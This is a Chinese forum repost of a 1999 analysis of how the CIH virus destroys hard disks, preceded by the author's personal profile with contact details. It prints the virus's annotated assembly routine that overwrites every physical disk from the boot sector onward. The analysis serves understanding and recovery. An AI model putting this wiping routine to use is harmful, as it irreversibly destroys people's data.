论坛: 病毒专区 标题: CIH对硬盘破坏之完全剖析 复制本贴地址    
作者: BrideX [bridex]    论坛用户   登录
转自中国著名病毒研究者---邹丹

本人大名
邹丹 
年龄
24
常用ID
Zoud、ZD、TPO、ZouDan、OrsonZou
本人爱好
当然是电脑啦,还有足球,漫画,旅游,到处耍,还喜欢MM.
中小学
重庆建筑工程学院附属幼儿园(现在叫重庆大学B区或者重庆建筑大学)、重庆南开小学(当时叫津南村小学)、重庆南开中学初中部、重庆南开中学高中部
毕业大学
四川大学
学历
本科
所学专业
计算机及应用
专业特长
曾经使用编程语言:BASIC,LISP,PASCAL
精通编程语种:ASM,C++,Java,PHP
擅长编程工具:Borland C++ Builder,Visual C++,TASM,JDK,ORACLE
目前从事的开发工作:JSP,PHP,ORACLE,JAVA
个人兴趣专长:加密解密,电脑病毒,系统安全,底层系统
电子邮件
tpo@sina.com,orsonzou@sohu.com
个人主页
www.zoudan.com(国际域名)
传呼
191-8120420(坏了)
手机
13601245xxx
ICQ
7351059
OICQ
382291
自我交待:

      我老实交待,本人至幼爱好自然科学,初一开始耍电脑.不久便难以自拔,学习成绩一落千仗...(伤心往事,不说了).不过,至打沉迷其中以后,电脑水平疯狂暴涨,以至现在成为寂寞高手.嗨~~~,高处不胜寒,感觉真是不爽!!望各为老大与我联系,交个朋友,共同切磋,共同进步,共同提高,共同......共创美好未来,为实现祖国四个现代化而努力,我们一定要好好学习,天天向.......(我打字打得慢,好累哟.休息一下,下次再交待).(这一段是98年写的,语言略显浮夸,见谅)

  本人是四川大学计算机系99届的毕业生,重庆沙坪坝人士。毕业后分配到了深圳工作,在深圳工作了10个月,然后跳槽到北京工作。现在来北京已经两个多月了,基本适应了北京的生活和工作。现在在国内一家知名互联网络公司从事技术开发工作,主要从事数据库页面开发工作。

  工作快一年了,经历了很多很多以前在学校在家里遇不到的事情,一个人在外地,自己照顾自己,自由自在,自己做决定,自己挣钱养活自己,这种感觉是以前怎么也不能体会到的。虽然我还是很想家,家里条件也很好,但是我觉得年轻人就是应该到处闯闯,到处看看。出来工作一年了,整个人都成熟了很多。不过我还是觉得不够,在各个方面需要学习的还很多很多,但是要学习的不是社会的那一套,而是学习专业知识和做事为人的道理和方法。虽然现在的条件并不怎么好,各方面都还没有走上正轨,而且充满了各种挑战和从没遇到过的困难。但是这条道路是我自己选择的,无论遇到怎么的坎坷,我将会坚强的走下去。(以上两段是2000年6月写的)




CIH对硬盘破坏之完全剖析

本文只供研究参考之用,如作其他用途,概于本人无关!
我的个人主页:http://bbs.scu.edu.cn/~tpo
我的电子邮件:zd_dan@263.net
邹丹编写于1999年4月29日
                CIH对硬盘破坏之完全剖析
    IOS_SendCommand是Win95的一个非常底层的VXD调用,通常是用作对IO设备的低层
操作,如:读,写,加锁,格式化等等。一般情况下只能在Ring 0和虚拟机中使用,在普通
程序中使用会有不可预料的后果!该VXD调用的功能很多,也很繁杂。参数数量很少,只有
BCB或IOR和BDD或DCB的地址。但这几个数据结构却包含了大量的信息,结构也相当的复杂
。CIH病毒只用到了IOR结构,它包含了近二十个数据,但主要用到的就是IOR_func,IOR_s
tatus,IOR_flags,IOR_start_addr[2],IOR_xfer_count,IOR_buffer_ptr,IOR_req_re
q_handle,IOR_req_vol_handle,IOR_sgd_lin_phys,IOR_num_sgds,IOR_vol_designtr!
    IOS_SendCommand的调用方法是:
        mov esi, CmdData ; address of BCB or IOR
        mov edi, DevData ; address of BDD or DCB
        VxDCall IOS_SendCommand

    IOR的完整定义为:
typedef struct _IOR {
    ULONG IOR_next; // client link; see below
USHORT IOR_func; // function; see below
USHORT IOR_status; // request status; see below
ULONG IOR_flags; // request flags; see below
CMDCPLT IOR_callback; // address of callback; see below
ULONG IOR_start_addr[2]; // starting address; see below
ULONG IOR_xfer_count; // # of sectors/bytes; see below
ULONG IOR_buffer_ptr; // client buffer; see below
ULONG IOR_private_client; // BlockDev/IOS client reserved
ULONG IOR_private_IOS; // reserved space for IOS
ULONG IOR_private_port; // private area for port driver
union urequestor_usage _ureq; // requestor usage; see below
ULONG IOR_req_req_handle; // request handle; see below
ULONG IOR_req_vol_handle; // media handle; see below
ULONG IOR_sgd_lin_phys; // first physical SGD; see below
UCHAR IOR_num_sgds; // number of physical SGDs
UCHAR IOR_vol_designtr; // drive letter; see below
USHORT IOR_ios_private_1; // reserved by IOS to force alignment
ULONG IOR_reserved_2[2]; // reserved for internal use
} IOR, *PIOR;
    CIH病毒先构造一个IOR,再使用IOS_SendCommand调用,完成IOR所指定的功能。
病毒在IOR中的IOR_flags中指示要写的设备为物理设备(IORF_PHYS_CMD),同步调用(IORF
_SYNC_COMMAND),即在写操作完成之后才返回。然后指定第一次写的位置为0(IOR_start_a
ddr[2]即0柱面0面0扇区,即主引导区),每次写入2048个字节(IOR_xfer_count),第一次
为物理硬盘一(IOR_vol_designtr=80h),需要写入的东西放在内存0c0001000h(IOR_buffe
r_ptr),这个地址是无所谓的,目的只是要随便写一大串无关数据到硬盘上,只要该地址不
是指向不存在的内存空间即可。最后CIH调用IOS_SendCommand,完成一次写操作!操作完
成后,先判断状态(IOR_status),看是否有该设备是否正常,是则每次2048字节的一直写
下去。如果写完一个硬盘(不太可能)或出错则把IOR_vol_designtr+1使之指向下一个物理
硬盘!
    程序注释如下:
; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************
;0001为写功能IOR_WRITE
        ;40000501h为IOR_flags=1000000000000000000010100000001
    ;IORF_PHYS_CMD|IORF_VERSION_002|IORF_SYNC_COMMAND|IORF_HIGH_PRIORITY
        ;IORF_PHYS_CMD指示为物理设备
        ;IORF_SYNC_COMMAND指示为同步命令(操作完成后才返回)
        ;IORF_VERSION_002指示为扩展BCB(IOR)格式的IO请求
        ;IOR_start_addr[2]=00 00 00 00 00 00 00 00起始位置
                (注意:不是扇区,而是字节)为0
;IOR_xfer_count=800h写入2048个字节
        ;IOR_buffer_ptr=0c0001000h要写的内容在地址0c0001000h
        ;IOR_vol_designtr=80h为第一个物理硬盘81h为第二个   
                       
KillHardDisk:           
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach
                ;以压栈的形式构造IOR(就是上面那一大串数据)

LoopOfKillHardDisk:
int 20h
dd 00100004h    ;调用 IOS_SendCommand

cmp word ptr [esi+06h], 0017h
                    ;IOR_status=17h=IORS_NO_DEVICE设备正常
                                    否?
je KillNextDataSection ;写下一块

ChangeNextHardDisk:
inc byte ptr [esi+4dh]
                ;下个硬盘,80h为第一个物理硬盘81h为第二个

jmp LoopOfKillHardDisk ;继续杀杀杀!!!!

KillNextDataSection:
add dword ptr [esi+10h], ebx
                            ;下个区域(以800h为一块)
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
                            ;第一个物理硬盘80h

jmp LoopOfKillHardDisk ;继续杀杀杀!!!!

    CIH病毒发作时,先破坏Flash Memory,随后就是硬盘。有些计算机在Flash Memo
ry被破坏后就完全当机了。那要恭喜你,你的硬盘不会有太大的损失。因为Flash Memory
中装有非常重要的程序和信息如BIOS,一旦破坏,机器完全死掉的可能性相当大。既然当
掉了,程序很可能执行不到杀硬盘的模块或执行一会儿便完全死机。你的硬盘就会有相当
大的可能恢复!但是,如果病毒程序运行顺利,正如上面程序所示的,它会每次2048个字
节的从主引导区开始写硬盘。直到分区引导区,主目录表,文件分配表,数据区......直
至写完整个硬盘。然后再开始杀第二个物理硬盘。是不是太黑了!这只是CIH病毒程序所预
计的理想情况,毕竟每次写2048个字节还是比较慢。普通一个上GB的硬盘,一个柱面有63
个扇区,要写完主引导区所在的0柱面0面的63个扇区也要花点时间!如果继续写下去,破
坏掉一些Win95正常运行所必须的一些文件数据,就很可能当机,这时,绝大都数人都会
Reset。这样的话,你就很有可能保存了相当部分地硬盘数据!这就是被CIH破坏了的硬盘
有可能用软件修复的真正原因!但千万不要以为那些软件的功能很强,足以修复所有硬盘
。硬盘的关键数据丢失太多的话,任何人都没有办法。所以修复概率很大程度上是依赖你
在病毒发作后关机的时间!时间越短,丢失的数据越少,修复的可能就越大!如果只有主
引导区被覆盖,那修复的可能有100%。如果分区引导区被覆盖,那修复的可能有99%。主
目录表被覆盖修复的可能有,但要手动恢复。如果文件分配表被覆盖,几乎不可能修复。
如果数据区被覆盖,那就彻底没有希望了!实际的情况还要复杂一些,通常是顺序的数据
丢失。
    综上所述,CIH病毒对硬盘的破坏是逻辑的,是极据破坏性的!一旦破坏,修复的
可能性较小。一旦发作,要尽快的重起或关机,尽量减少损失!在奉劝各位一句,千万不要
在没有把握的情况下,把以上程序编译执行,那将导致非常严重的后果!其实要达到以上
效果,用dos下的Debug几句就可以了,何必用95下的VXD呢?还有就是,千万无要拿硬盘
来找我修,我现在在作毕业设计,忙得很!写这篇文章已经使我元气大伤。还不是为了广
大的CIH受害者和需要了解这方面知识的同志.
    记住,千万千万不要!




地主 发表时间: 04-05-22 18:08

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号